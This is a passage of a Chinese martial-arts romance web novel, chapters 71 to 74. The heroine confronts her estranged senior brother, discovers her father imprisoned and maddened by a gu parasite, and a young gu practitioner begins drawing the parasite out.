她裹在一件滚了一圈毛边的红色披风里,热烈而娇俏,像极了陆晓怜梦中,十六岁时,天真烂漫的自己。她脚步轻快地跑过来,扑在床边,欣喜地拉着陆晓怜的手,叽叽喳喳地说话:“晓怜姐姐,你是不知道你有多吓人,一口气睡了三日,怎么也叫不醒,要不是枕风楼里的屠大夫说你只是……” “我睡了三日?”陆晓怜忍不住打断金波,“这是哪里?师兄呢?师兄怎么样了?其他人怎么样了?” 她问得太多,金波一句一句耐心地答:“这是在枕风楼,我们两日前便到了,大家都安顿好了。还说贺大哥呢,他伤得那么重,反倒是醒得比你早。” 陆晓怜眸光一亮:“师兄醒了?我去看看师兄。”说着, 她便要翻身下床,可脚还没沾地,又迟疑着收了回去,跟只乌龟似的缩回床上:“算了,都到枕风楼了,沈楼主会有办法的,我还是不去打扰师兄休息了。” 下意识的第一反应骗不了人,金波想不明白陆晓怜明明一颗心都悬在贺承身上,明明想要见他,怎么临了,连一步路都踏不出去呢? 以前师父常常同她说,不要自扰,想要什么便去做什么,顺着这一刻的心意去做,做到了,便能在这一刻欢喜,世事无常,谁又知道这一刻的爱恨怨憎,到了下一刻会是什么模样? 师父是这样教她,金波也是这样做的—— 想要看看南疆之外的世界,就一个人靠着两条腿跌跌撞撞走到了中原,风餐露宿也不觉得辛苦;想要与陆晓怜他们同行,就想尽办法地跟着,几番险象环生也没想着退缩;想要喜欢钟晓,就大大方方地告诉他,即使他如今盲了双眼,她也只庆幸已经让他见过她喜欢他时的模样。 金波不能理解陆晓怜心中这一团丝线般的纠结纷乱,眨着一双澄澈的眼问:“你明明是担心贺大哥的,也明明很想见他,怎么忽然又不想去了?” 陆晓怜被问得语塞。 金波自顾自地往下说:“难道是因为贺大哥在西江城里说的那些话,认下的那些事吗?”她觉得自己找到了原因,点了点头表示认同:“贺大哥亲手杀了你的亲生兄长,你不愿意继续喜欢他了,也是说得通。所以,晓怜姐姐,你是怕见到贺大哥会忍不住想要杀了他替你兄长报仇吗?” 金波的话令陆晓怜错愕不已。 在旁人眼中,她大约应该恨极了贺承,是应该与他刀剑相向,可她自己心中是怎么想的?她明明不是遇事想着退缩的人,怎么在临出门的那一刻,又不声不响地缩回来床上呢? 她到底想要怎么做? 她到底在害怕什么? 她没想清楚怎么回答金波,可她也很快发现,她暂时不必回答金波了。 因为下一刻,有人在外面叩门,三声叩门声之后,木门被轻轻推开,她与金波一齐转头看去,金波惊讶出声:“贺大哥,你怎么来了?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第七十一章保重下次相遇,你不必留…… 贺承当然是不该来的。 他身上原本的伤便十分棘手,自废武功后,伤上加伤不说,根基尽毁,身体孱弱,比常人还不如,纵使有陆晓怜、庄荣、沈懿行一路以内力相护,到达枕风楼时,也已经是出气多进气少。 那时陆晓怜昏迷不醒,钟晓和金波脑子还清醒,催着沈懿行去找南门迁夫妇。 沈懿行只说南门迁夫妇之前是来过枕风楼,可之后说要去阳城故地重游,也不知如今走到了什么地方,此刻情况紧急,是等不到南门迁夫妇回来了。说着,也不着人去找南门迁夫妇,只让人去将刑堂的屠勇喊过来。 屠勇是精通岐黄之术的,所以才能玩得转刑堂里那么多药、毒、银针、砭石。可给刑堂里的犯人扎针灌药是一回事,给沈懿行的座上宾行针喂药又是另一回事,沈南风当年为爱子寻来的灵丹妙药,在贺承上一回命悬一线时已经消耗得所剩无几,这一回只能将刑堂里吊人性命的毒药拿出来了。 沈懿行不管刑堂的事,盯着屠勇颤巍巍举在手里的药丸,问:“这能救命?” “应该能勉强救得一时。” 沈懿行皱眉:“什么意思?” “服下此药,受多重的刑都不会立刻断气,便是一刀戳进心窝里,也能再活一两个时辰。只是——”屠勇瞟了一眼沈懿行,硬着头皮,“只是此药说到底是一味刚刚研制出来的毒药,之前服药的都是受刑之人,他们统统没有活过七日,所以,所以我也不知道服下这药,好生休养究竟能活多少时日。” 沈懿行气急,一脚踢在屠勇肩窝:“你们刑堂为何尽日都做些伤天害理的勾当!” 屠勇被踹翻在地,埋着头不敢出声。上一回这位贺公子气息奄奄地来时,楼主也这样发过一回疯,可最后,凤尾续魂针也施了,秋梧半死丹也服了。这一回贺公子的情况还要更糟,他没敢说,到了这一步,是药是毒,其实已经无甚差别。 果然,沈懿行的脾气只持续了片刻,发了火,又不得不弯腰拣起屠勇手里的那颗药丸,道:“刑堂的事你先别管了,这丸药,我且喂他服下,其中的毒性如何化解,这一丸药的药效过后又当如何,你快去想想办法。在我寻来能救他的大夫前,你无论如何都要吊住他的性命。” 屠勇称了是,又小心翼翼地提议:“之前与贺公子一同来楼里的那两位神医或许会有办法,楼主不妨派人去寻他们回来。” 沈懿行沉着脸看他,半晌没说话。 屠勇看着沈懿行的脸色,以为他忧愤难当又要发火,没料到,他只是闷闷地应了一声知道了,摆手让他下去。 沈懿行握着那颗药丸回到贺承房中,除了被安排到隔壁照顾陆晓怜的金波,所有人都在,连伤了眼睛的钟晓也不例外。 庄荣盘腿坐在床上,一手扶着贺承,一手抵在他后心处。纵使他全力护住贺承的心脉,可之前经脉便受重创,如今没了内力强撑,之前受损的经脉寸寸衰竭,明眼人都看得出来,贺承气色灰败已极,即便他们以这样的方式强行留住他,也留不了多长时间。 “沈大哥!”见沈懿行进来,贺启眼中升起一丝希冀,“可找到了什么办法?” 沈懿行摇头不语,径直走到床榻旁,将手中捏着的药丸喂给贺承,对庄荣道:“前辈,您歇会儿,我来助小承化开药力。” 借着沈懿行的掌力,那颗福祸难断的药丸迅速起了效果。 贺承醒得很快,甚至于,他很快便能下地。他睁眼便问陆晓怜,陆晓怜的情况瞒不住他,得知陆晓怜为了救他,在来枕风楼的路上呕血昏迷,他便再也躺不住,边指挥着贺启将庄荣与钟晓分头送去休息,边起身下床,执意要去隔壁看看陆晓怜。 沈懿行向来劝不住贺承,只好亲自陪着去,不料,刚刚把人扶到门口,就听见屋子里面,那个叫金波的小姑娘毫不讳言地问陆晓怜,是不是怕见到贺承会忍不住想要杀了他替陆兴剑报仇。 贺承脚步一顿,立在门外轻声道:“她没事就好,我们回去吧。” 可沈懿行有心让贺承与陆晓怜将话当面说清楚,不给贺承临阵脱逃的机会,抬手叩门,边叩门边劝他:“来都来了,见一面也好。” 早在一年前,在无涯洞外挥出凌云剑时,贺承便知日后前路坎坷难行,他以为自己早做好了准备面对无尽的怨怼谩骂,直到在西江城里被迫当着陆晓怜的面承认一切,他才明白,这件事与陆晓怜牵连太深,他永远都无法准备周全,能迟一刻面对,便想要再躲避一刻。 而此刻,他已经被沈懿行仓促地带到陆晓怜面前。 沈懿行玩笑着向陆晓怜告状:“他听说你昏睡不醒,一刻都等不了,刚醒来便急着下床赶来看你。”他摁着贺承的肩膀坐在床边的一张圈椅里:“你们聊吧,正好我要同金姑娘商议治疗钟晓眼伤的事,就不打扰你们互诉衷肠了。” 几句话间,沈懿行拉着金波退了出去,房间里只剩贺承与陆晓怜两人。 陆晓怜曲着腿坐在床上,严严实实地裹着被子,只露出一颗脑袋来。她之前为救贺承耗费了太多力气,又兼忧思过重,才会一时岔了气息,实实在在睡了几日,早就养了回来,看着她此刻面色红润精神饱满的模样,贺承彻底松下一口气来。 算起来,他们已经相识了将近二十年,可细数下来,他们之间似乎不曾有过这样的时刻,近在咫尺,却又远得仿佛隔了天涯。 天气已经很凉,屋子里烧着炭盆,不时炸出一点火星。 屋子里太沉闷,连呼吸声都清晰可闻。贺承觉得应该说点什么 ,可什么话都显得生硬,纠结辗转,许久只问出一句:“你觉得怎么样?还有哪里难受吗?” 这话问得客套,绝不是陆晓怜想听的。她盯着贺承:“你就没什么别的要同我说吗?” “我是该向你道一声谢的。我没想到,事到如今你和师叔还愿意舍命救我。你们如此待我——”贺承唇色灰白,唇边笑意泛苦,声音轻如叹息,“我不值得的。” 这显然也不是陆晓怜想听的话,她依旧盯着贺承的眼睛看,不肯放过他眸光哪怕一丝一毫的波动。贺承黑长的眼睫低低垂着,不肯将自己辛苦包裹的情绪泄露出分毫。 他们像是两只狭路相逢的野兽,蓄势待发,等着对方的破绽。 可是他们明明曾经在同一片草地上打滚,明明曾经在险峻山林中抵背而战,明明曾毫无保留地交付出一片真心—— 青梅竹马,两小无猜,何以至此? 陆晓怜红着眼睛,锲而不舍地又问一遍:“你没有骗我吗?我大哥,当真是你害的?” 贺承依旧垂着眸,只应了一声:“对不起。” “我不信!从小到大你就喜欢捉弄我,这种事情怎么能拿来开玩笑?” 陆晓怜说不清自己的情绪,那好像是一种恐惧,她眼前那一条平坦明确的路被堵上一块巨石,坦途变为绝路,她不知要往哪里去,只能站在那块从天而降的巨石前,簌簌掉着眼泪。她伸手去捉贺承的衣袖,几乎是哀求:“师兄,你说你是骗我的,你没有害大哥,好不好?” 贺承见不得陆晓怜掉眼泪,他不自觉地伸出手去握住她。 她的手温暖而柔软,他将自己的手覆上去,才发觉自己的指尖冷得简直不像是个活人。他其实早就应该是个死人了,即便没死成,也不该再出现在陆晓怜面前,可偏偏,在南州城遇见她后,他明知不该,却又跟着她一程又一程。 他明明知道的,无涯洞外的那一夜,他决定挥剑的那一刻起,他与陆晓怜再无可能。 是他优柔,是他自私,是他贪婪,才会让她此刻这样难过。 贺承握着陆晓怜的手,狠着心将她的手从自己衣袖上扯开:“晓怜,我已经不是你师兄了。你我之间,不该再有什么关系。” 他们之间,怎么会走到了除了仇怨,再无其他牵连的地步了呢? 陆晓怜恍然想起,贺承在晚晴院外对十六岁的她说,他喜欢她,他会一直只喜欢她。言语无凭,十六岁的梦恍如南州城的一场烟雨,美极了,也短极了,南柯梦醒,不过两手空空。 他待她很好,大哥也待她很好,他却杀了大哥。 她不想恨他,可她只能恨他。 除了恨,他们之间再不应该有其他牵连。 “枕风楼是沈懿行的地盘,他不会允许你在这里伤我的。下次相遇,你不必留情。”贺承的笑苍白而平静,“也可能我们不会再相遇,但是没关系,以后你还会遇到许多人。” 可那些人都不是你。 陆晓怜泪眼莹莹,却将这句话咽了回去。有许多许多想说的话绕在唇舌之间,可纠结挑选,最终她只对贺承说了声“保重”。 这便算是告别。 下一次见面,只剩刀剑相向。 贺承扶着椅子扶手慢慢起身,还未迈出一步,却听得自后山处传出来一声清喝。他脸色一沉,无措地看向陆晓怜,却见陆晓怜已然笔直坐起,讶然望着他:“是我爹的声音!我爹也在枕风楼?” 她一刻也坐不住,翻身下床,便要循着声音去找人。 贺承果断伸手拦她:“晓怜,你听错了,那不是师父的声音。” “那是我爹!我不可能听错!”陆晓怜只愣了片刻,便从贺承神色中一闪而过的慌乱发觉不对。她冷下脸看着贺承,斩钉截铁道:“你还有事情瞒着我。” 门外是纷乱的脚步声。 显然是关在后山刑堂里的陆岳修又出了什么事,刑堂的人处置不了,赶来寻沈懿行。贺承心跳如捣,几乎站立不住,扣着陆晓怜的手腕,勉力支撑着执意要拦人:“那里危险,你别去,你想知道什么,我统统都告诉你。” 陆晓怜手腕一翻,甩开他的手:“我不相信你,我要自己去看。” 第72章 第七十二章同归于尽你宁愿与我爹同…… 枕风楼后,息山刑堂,又是一轮人仰马翻。 自从囚室里那位被沈楼主招待细致的贵客住进来,这样的事情屡有发生。好在上一回这位贵客生生撕了两个人后,沈楼主便下令拿铁链将人结结实实地绑住。亏得有这段铁链束缚,这一回他发狂,才没有又害人性命。 可这一回,沈楼主竟然亲自到刑堂来了。 刑堂能是什么好地方?洞室内阴暗潮湿,关着的也都不是什么全乎人,呻吟声、惊叫声、咒骂声不绝于耳,站在山洞外都能隐约听见。 沈懿行当然不想去刑堂的,可陆岳修闹出来的动静惊动了陆晓怜,他原本站在陆晓怜房间外面同金波说着话,一抬眼就看见陆晓怜从房里一头闯出来,循着陆岳修的声音朝息山而去。还来不及反应他又看见贺承也紧随其后,脸色惨白地追出来,脚步虚浮地往息山的方向去。 沈懿行当然知道息山刑堂里被自己用铁链重重捆缚住的是什么人,也当然能想到马上会迎来一场怎样的腥风血雨,顾不得同金波多做解释,旋即抬脚也快步朝刑堂赶去。 刑堂里那间被沈懿行吩咐要精心布置的囚室早就一地狼藉,陆岳修站在囚室中央,披散着头发,愤怒地拉扯着束缚住自己的铁链,试图挣脱。寻常铁链当然困不住青山城掌门,枕风楼的这副铁链是用玄铁打制的,轻易扯不断、震不碎,才能将发了狂的陆岳修结结实实禁锢其中。 陆晓怜拨开囚室外手足无措的人群,看到便是这样的陆岳修。 她看过陆岳修写给庄荣的信,信上分明交代得好好的,说他定要找到贺承问清楚那夜无涯洞外的始末,他不在的日子里,让庄荣代为处理青山城事务。 那封信的笔迹确实是陆岳修的,笔力苍劲,孰无异样,陆晓怜自然便以为她的父亲好好地生活在世上的某个角落,抱持着跟她一样的怀疑,要找贺承一问究竟。 她确实从未想过与父亲的久别重逢会在这样的情境下。 她如何能相信,囚室之中,挣扎嘶吼犹如困兽的人,会是她的父亲?她记忆里的陆岳修分明不是这样的,他说君子重衣冠,每日所着衣裳不必华贵,却必须要收拾得干净平整,人人皆知,他一贯儒雅温文。 可眼前的人却不是这样的! 他长发披散,胡须蓬乱,身上套着的衣裳是用上好的布料裁制的,却像别人揉烂丢弃的废纸一般,千沟万壑,皱皱巴巴。若不是他乱蓬蓬的须发之间露出过眉眼,陆晓怜决计想不到,眼前这个灰头土脸的人,会是她的父亲——赫赫有名的青山城掌门陆岳修! “爹!”陆晓怜心中惊痛,不及多想便向囚室奔去,不料她只迈出两步,就被随后赶来的贺承拦腰抱住。 贺承重伤之下极度虚弱,可千钧一发之间,不知哪里生出来的力气,硬生生将陆晓怜往后拖了几步,他用力将奋力挣扎的陆晓怜牢牢禁锢在怀中,沉声道:“别过去,他此刻发着狂,不认得你,会伤了你。” “你胡说!”陆晓怜瞠目欲裂,“他是我爹,他不会伤我!” 陆晓怜一心想去细看陆岳修的情况,几番尝试挣脱贺承的桎梏,情绪激动之下,她的动作没有分寸,贺承腰腹间那道被孟元经贯穿的剑伤在拉扯中崩裂开来,温热的血悄然渗出,层层沁透出雪白的中衣。贺承嘴唇发白,扣着陆晓怜的手越发冰冷,难以自抑地发着颤,几乎是弱声哀求:“晓怜,你再信我这 一回,别过去。让枕风楼的人来处理,他们不会伤害师父的。” “不会伤害?”陆晓怜仰面看他,冷笑道,“将我爹拴在这里,让他像只牲口一般活着,这就是你说的不会伤害?” “我——”贺承开口欲辩,却被囚室内一声尖锐的清啸打断。 众人定睛看去,只见陆岳修没有缘故地骤然暴起,他眼中血丝密布,红得吓人,额角的太阳穴微微外突,手背上虬结青筋顺着手臂向上延伸。那条扯不断、震不碎的的玄铁链确实无法挣脱,他一声清喝,竟将固定在墙上的铁链生生扯了下来。 失去铁链束缚的陆岳修扑到囚室门边,隔着一道栅栏,抬手便挥出一掌。 纵使失去神志,陆岳修的断云掌依旧威力不减。离囚室最近的三四个人躲闪不及,被掌风掀翻在地,抽搐着挣扎几下,便不再动弹。 瞬息之间,几条鲜活的人命便断送在陆岳修手中。陆晓怜瞪大了眼,脸色惨白,颤抖着嘴唇,惊得说不出话来。贺承抬手挡住她的眼,将她紧紧搂在怀中,退至掌风波及不到的角落,温声安抚她:“别看,没事的。” 贺承的指掌冰凉,抵着陆晓怜的眉眼,有温热的湿意在他掌心里化开。 他早就知道,他的小师妹见不得这些。 她在青山城山花烂漫的沃野里自在长大,她被保护得很好,没受过一点儿委屈,没见过一点儿阴霾,她怎么能受得了这些? 一波一波的人涌上去,又退下来,囚室外一片混乱。刀剑铿锵中,他听不见陆晓怜哭泣的声音,她像小时候被贺启的故事或者电闪雷鸣的雨夜吓坏了一样,柔软乖巧地靠在他怀中,默默地流着眼泪。 她滚烫的眼泪浸透他的手掌,沉默也能化作刺穿人心的利刃。贺承分辨不清是撕裂的伤口更疼,还是被她的眼泪烫伤的心更疼。 “晓怜——”贺承喊了陆晓怜一声,试图说点什么,可那些准备用来安慰人的话,却死死堵在喉咙里,吐不出来。 接连不断地有人被陆岳修掌风累及,横卧在贺承与陆晓怜脚边。他们抽搐着呛出鲜血,鲜血喷溅在贺承的衣摆上,像一丛灼人的火焰烧过。 他见过许多苦难,可此刻他没有资格悲悯—— 正是他一年前将陆岳修送进枕风楼,这些枕风楼弟子才会陆续在陆岳修掌下送命。 贺承不得不怀疑,自己当初走投无路求助于沈懿行,是不是做错了。 诚然,那时他已是无路可走了。 可是因为他无路可走,枕风楼和枕风楼中的人,就理所应当遭受这些苦难吗? 他是眼前这一场腥风血雨的始作俑者,确实不该躲在风雨波及不到的角落里。贺承揽着陆晓怜的肩膀,推着她背过身去,问她:“还记得小时候玩的木头人游戏吗?” 陆晓怜语气不耐:“都什么时候了,还聊什么游戏!” 贺承撕下一角衣袖,衣袖上沾了一块血污,他也分不清这是他的血,还是别人的血,他只顾得上用布条将陆晓怜的手绑缚在固定的刑架上,抵在她耳边告诉她游戏规则:“你现在开始数数,数到一百,就没事了。” “贺承,你在发什么疯?快点松开我!” 贺承没有回应陆晓怜,只回头望了眼囚室里的陆岳修。他掌力万钧,不断击打向囚室的铁栏杆,铁杆已逐渐弯曲,也许他很快便会从囚室中闯出来。 然后呢?还会发生什么?他是不是会杀死所有人?他是不是还会还闯出枕风楼? 无论黑夜白昼,来往枕风楼的人群永远那么多,蓬头跣足的陆岳修一旦现身,会激起什么样的风浪?人们会怎么猜想与陆岳修、与青山城相关的故事?贺承不计代价要隐瞒的事,又会不会轻易便被翻出来? 所以,不能让陆岳修挣脱囚室。 让他干干净净地死去,也比被人泼一身污水,疯疯癫癫地活着要好。 贺承这样想着,缓缓松开扣着陆晓怜肩膀的手,稍稍倾身,在她脸颊上似有若无地轻轻一吻:“没有发疯,很快一切都会好起来,你相信我。”他的笑声很轻,近在咫尺的气息扯得她鬓边的碎发摇曳:“听话,数到一百前,不许睁眼。” 他彻底松开她,微微弯腰,从脚边的一具尸体手中取下一柄剑。 虽然他的功力尽数散去了,可他这副破败的身子还能举得起剑。如果当初带着师父来到枕风楼是错,那么如今,理应由他来结束这个错误。 他当然知道,陆晓怜不会乖乖地站在原地数到一百。 他当然知道,他一松手,陆晓怜就会挣断布条转过神来。 他当然知道,陆晓怜会亲眼看见他将长剑刺入师父的心脏,也会亲眼看见他死在师父的断云掌下。 他不知道他的选择于她到底是好是坏,但他知道,她会恨他。 但这也许也不是件坏事,她目之所及的世界面目全非,她得有个人恨才好。 可以肆无忌惮地恨他,刚刚好。 然而贺承终究没能如愿。 他已经不是以前的他了,剑法不再快,身法不再轻。 他挥剑而去,猝然回身的陆晓怜和刚刚赶到刑室的沈懿风一同出手来拦。素昧平生的两个人相视一眼,便无言生出默契,陆晓怜飞身一跃,拉着贺承的手臂,强行止住他继续前行,而沈懿行加紧步伐,超到贺承前面去,替他去阻拦即将冲破囚室而出的陆岳修。 贺承蹙眉:“晓怜,你松手。” 陆晓怜平静地看他,唇边噙着一丝冷笑:“松手?我松手,是由着你去送死,还是由着你去杀我爹?”她的神色越发阴沉,语气也越发地冷:“贺承,我在你眼中究竟多没用?你宁愿与我爹同归于尽,都不愿意同我说实话?” 第73章 第七十三章南疆圣女你的师父就是南…… 沈懿行没急着上前与陆岳修正面相抗,他瞄准了陆岳修挥手起落之间,像两根水袖似的漫天飞舞的铁链,轻轻巧巧地落在囚室侧面陆岳修不易察觉处,以掌力将那两根铁链吸附到囚室之外,使了个眼色,示意几个人过来帮忙,分作两拨一左一右地拉住,以钳制住陆岳修。 今日在场的人或轻或重都受了伤,又目睹过先前的惨烈,心中难免发怯,那一段铁链人人都握得心惊肉跳,若不是沈懿行还没松开手还替他们把控着,两条链子恐怕早摔到了地上,更不用谈钳制住陆岳修。 沈懿行恨铁不成钢地看着自家这帮残兵败将,只好扭头喊人:“陆姑娘,能不能抽空过来搭把手?” 听到求助,陆晓怜很快从被岩石遮挡的角落里探出头。她看清囚室外的情境,眼珠子一转便明白过来沈懿行想做什么—— 那两根铁链原本是固定在囚室中一南一北两面墙上的,之前陆岳修使了蛮力,生生将它们从墙上扯下来。可这两条玄铁做的链子没断没坏,只要有人一左一右地拉紧链子,就与最初固定在墙上无异,便能限制住陆岳修行动。 沈懿行分身乏术,拉住了左边,便顾不上右边,偏偏此刻现场枕风楼的人死的死伤的伤,而功力尽失、自身难保的贺承也是指望不上的,因此他才不得不把主意打到内力大增的陆晓怜身上来。 不管怎么样,能被沈楼主惦记着,陆晓怜便觉得很高兴。 她有样学样,照着刚刚贺承的模样,也撕了一角衣袖,将贺承的手绑缚在固定的刑架上,顺手抽走他手里的剑。她在他身边忙活一通,硬是忍着没同他说一句话,一切安排妥当,便扭过头大步朝沈懿行走去。 见人走了过来,沈懿行微抬了抬下巴示意,抬手便了一条铁链抛出去。陆晓怜稳稳接过那 条铁链,在手臂上绕过几圈,也朝沈懿行微点了下头示意,两人握紧铁链一左一右各自飞身掠开,铁链瞬时绷直,连带着将陆岳修的手臂强行拉开,正与他之前相安无事地被关在囚室中时一样。 至此,战局维持在一个微妙的平衡点上。 陆晓怜的手被铁链勒得青白,用力之下微微发颤,她问:“沈楼主,接下来要做什么?” 这话问到了点子上。他们能这样牵制了陆岳修一时,却并非长久之计。 看着一地狼藉,沈懿行眉头渐渐紧锁。不知道为什么,陆岳修这一轮发疯发得比之前都要彻底,此刻地上横七竖八倒着许多人,沈懿行一眼望过去也不知道刑堂里的药师此刻是死是活,能迷晕陆岳修的迷药究竟在谁手里。 “迷药呢?谁手里有迷药,先把人迷晕了重新安置好再说。” 有个弱弱的声音答道:“回楼主,我们手里淬过迷药的飞镖都投出去了,都被贵客的掌风破成几半,现在已经没有迷药了。” 沈懿行不满:“屠勇呢?还不去找他拿药。” 那个弱弱的声音继续答:“堂主从您那边回来后便,外出采药了。” 沈懿行后知后觉地想起,正是他自己下的命令,让屠勇暂时别管刑堂里的事,一心一意琢磨怎么保住贺承的命,屠勇外出采药确实无可厚非,可屋漏偏逢连夜雨,屠勇偏偏是这个时候。 枕风楼的刑堂里存着各种毒各种药,药房的钥匙一直由堂主屠勇亲自保管。如今屠勇不在,取不到迷药,如何顺利将陆岳修重新安置好,便成了难题。 陆岳修的功力深厚,沈懿行与陆晓怜毕竟年轻,能牵制他一时已是不易,实在支撑不了太久。 果然,不等沈懿行想出办法,陆岳修又占据了上风,掌力直灌进铁链之中,将铁链彼端的陆晓怜和沈懿行等人一齐震开。 恰在此时,方才被沈懿行丢在一旁的金波循着声音找来。 到处是倒地不起的伤者,金波一身红衣俏生生站在期间,异常醒目。 陆晓怜被陆岳修的内力震得气息散乱,一时动弹不得,看金波像只闯进兽群而不自知的羊羔,心里一沉:“金波,快离开这里!” 看着眼前的狼藉脑子发懵的金波听见陆晓怜的声音,眼前一亮:“晓怜姐姐!” 沈懿行沉声喝止:“危险!别过来!” “危险?”金波眨了眨眼,伸着青葱一样细长白嫩的手指,指着不远处唯一一个和她一样笔直站着的陆岳修,“你们是说他吗?” 陆岳修双目充血,犹如盯着猎物的鹰隼般,死死盯着金波。 可金波浑然不觉,脚步轻快地朝他走过去。 四下一片死寂,怕惊动陆岳修,没有人出声,只屏着呼吸盯着金波看。 只见她步伐轻快地走到陆岳修面前,伸出手指,曲着手指,像抚摸小动物一般,用指背轻轻摩挲着陆岳修的眉心。刚刚大杀四方的陆岳修一动不动,在她的安抚下,两手轻轻垂落下去,眼中血红的杀意也渐渐消散,眼皮落下,身子软软倒伏下去。 金波伸手想将陆岳修扶住,可是小姑娘身子单弱,力气也小,支撑不住陆岳修的重量,像只掉进水里的小鸡雏似的,边手忙脚乱地扑腾着,边叽叽喳喳地求助:“快来帮个忙,我扶不住他!” 于是呆若木鸡的众人七手八脚地把陆岳修扶进囚室里安置好。 没人知道陆岳修什么时候会醒来?醒来后又会不会再度发狂?关押着陆岳修的这间囚室,是随时都会张口吞噬人性命的地狱。将陆岳修扶到床榻上躺好,沈懿行一摆手,枕风楼弟子相互搀扶着竞相退出去,囚室里最终只剩下沈懿行自己,与贺承、陆晓怜、金波几人。 饶是陆岳修神志不清之时双手沾满了鲜血,他总归是陆晓怜的父亲,是她如今在世上唯一的亲人。人人避之不及,陆晓怜却不怕他,打了盆温水来,细细擦过陆岳修脸上手上的血迹,将他乱蓬蓬的须发梳理齐整。 算来,她已经有将近一年的时间没有见到陆岳修了。 过去的这段时间里,她断断续续地从师叔庄荣那里得到父亲的消息。一封封书信里,陆岳修向庄荣交代着来不及嘱托的各项事务,告诉他们他在外一切都好,无论书信长短,每一封信的末尾他都会叮嘱一句,要陆晓怜好好吃饭好好睡觉,好好地等他回去。 因为那些不期然出现在庄荣桌上的信笺,陆晓怜笃定地相信,陆岳修一切顺遂,唯一让他不能安心回青山城的,不过是还没能找到贺承。 可如今看来,似乎并不是这样的。 过去的一年时光,像是被一方帘子遮挡住了,一直到此刻才不得不轰然掀开,于是被帘幕遮掩的满目疮痍顷刻撞到陆晓怜眼前来。 “陆姑娘,你来这里坐。”沈懿行替陆晓怜挪了张椅子过来,特意放在贺承身边,“歇会儿,正好也给金姑娘腾个地方。之前南门前辈来为陆掌门看诊,便猜测陆掌门是中了蛊,听说金姑娘精通蛊术,不妨让她给陆掌门看看。” “南门前辈来看过我爹?” 陆晓怜下意识开口,旋即想起,他们当初从百花谷出来,走到庐川城,贺承撺掇着所有人瞒着她,带着南门迁不辞而别的事。想来,大概便是在那个时候,贺承带着南门迁夫妇来到了枕风楼为陆岳修看过诊。 当事人贺承此刻就坐在距离陆晓怜半步之外的地方,她眼尾的余光可以看得到他,可她没有抬眼看他,更没有问起他为陆岳修请来南门迁的细节。 她心中沮丧,他不想说的事,即便是她问了,也未必能听到真话。 沈懿行将两张椅子摆得很近,所有人都觉得她与贺承应该离得很近,应该亲密无间,可事实上,并非如此。她一次次被贺承抛下,即便是为她的父亲治病这样的事,她也被他隔绝在外。 陆晓怜想,贺承其实并不需要她,甚至于他认为她的父亲也不需要她。 所有人都不需要她,相反的,她走的每一步却需要周全细致的保护。 可是,她明明不是一株不经风雨的蝴蝶兰,就算长不成苍天高树,她也该是青山城漫山疯长的野草,坚韧顽强。 为什么贺承就是不相信呢? 沈懿行八面玲珑,觉察到气氛不对,适时将话题引到金波身上去:“金姑娘,可瞧出来陆掌门为什么会发狂了?” “我要是没看错,应该是失心蛊。”金波有些迟疑,“而且好像是我养出来的。” 沈懿行与陆晓怜诧异地看向金波,不约而同:“你养的?” 金波被他们的声音吓得缩了缩脖子,点头也不是,摇头也不是。 相比之下,坐在一旁许久没有说话的贺承似乎不甚惊诧,替金波挑明了身份:“若我没有猜测,你之前提到的师父,就是南疆圣女桑秀,对不对?” 这回轮到金波目瞪口呆:“贺大哥,这你都能猜得到?” 贺承轻笑,看向沈懿行:“我如今住的是之前司渊司左使的房间吧?他当年入南疆前,收集了许多与南疆圣女相关的信息,不巧被我翻到了。” 他的目光从沈懿行身上移到金波身上,期间状似无意掠过陆晓怜,却并未多做停留,继续说下去:“传闻苗疆圣女会选九名同龄的女童自小养在身边,修习蛊术,九名女童年满十二时,以自己养出来的蛊虫相斗,胜出者是下一任圣女,其余八人便丢去喂蛊虫。” 说到这里,贺承顿下来,沉默着打量着金波:“显然,你已经年满十二岁,对吧?” 第74章 第七十四章拨云疑云渐散。 在一屋子人的注视下,金波瑟缩了一下单薄的肩膀,可怜巴巴:“我不是坏人。” 贺承笑问:“谁说你是坏人了?” “她们不是我害死的。” “自然不能算在你头上,那时你只是个十二岁的小姑娘。” 贺承语气温和,落在金波身上的目光有一瞬的失神。 说到十二岁,他就想起陆晓怜十二岁时候的模样,半大不小的年纪,开始知道美丑,开始学着打扮,不肯再让陆兴剑和贺承笨手笨脚地给她扎一高一低的两个发髻,去跟女弟子学编发,见到山坡上的野花会吵着要摘下来戴在头上。 在十二岁上,金波已经九死一生走过一回,而陆晓怜还在青山绿水间天真无邪。 于是,他又忍不住为陆晓怜担心起来,她顺风顺水地长这么大,往后的路,还能不能一切顺遂?若遇上了不如意,她一个人要怎么办? 金波试探着 问:“你们不会不跟我做朋友了吧?” 大家是几番一同出生入死过的交情,自然不会因为这样一重身份,便对金波冷嘲热讽。但金波知道中原人对蛊术深恶痛绝,对擅用蛊术的南疆圣女想必也不会有什么好脸色,连忙解释:“我也不知道这只失心蛊怎么会来到中原,会在晓怜姐姐的爹爹身上,可它既然是我养的,我就能把它引出来。” 这话十分要紧,陆晓怜目光亮了起来:“只要引出失心蛊,我爹便没事了?” 金波点头:“陆伯伯如今暴戾弑杀,都是因为被失心蛊所控制,只要引出蛊虫,他自然能恢复原来的模样。只是,蛊虫在他体内待很长时间了,不易引出,得慢慢来,才不会伤了陆伯伯。” 闻言,陆晓怜欣喜道:“太好了,需要我做什么,你只管说。” 枕风楼的地头蛇沈懿行也点头应和:“是,金姑娘需要什么,随时与我说。” 金波笑眯眯地摇头:“什么也不需要,只要取一点我的血就够了。”她咬破自己的指尖,挤出几滴血,边涂抹在偏离陆岳修心口两三寸远的地方,边解释道:“蛊虫盘踞在陆伯伯心脉,不可强行逼出,但它是我养大的,认得我的气味,用我的血将它慢慢引到指尖再逼出最好。” “引出它,再逼出它,需要多长时间?” “难说,它如果在陆伯伯身体里待得太舒服,不愿意离开,需要的时间就会长一些。”金波攥着衣角包住冒着血珠手指,站直了身子,看了眼囚室外面吭哧吭哧清理遍地狼藉的人,忙对着沈懿行补充道,“不过沈楼主放心,我猜这一回失心蛊发作得这么厉害,也许是跟这个东西有关。” 金波说着,从怀中摸出一个小布包,打开一个角给他们看。 布包里是一只小瓷罐,贺承和陆晓怜都认得这只瓷罐,瓷罐里养着他们在七步岭上遇见的那只火红色的无主蛊虫。 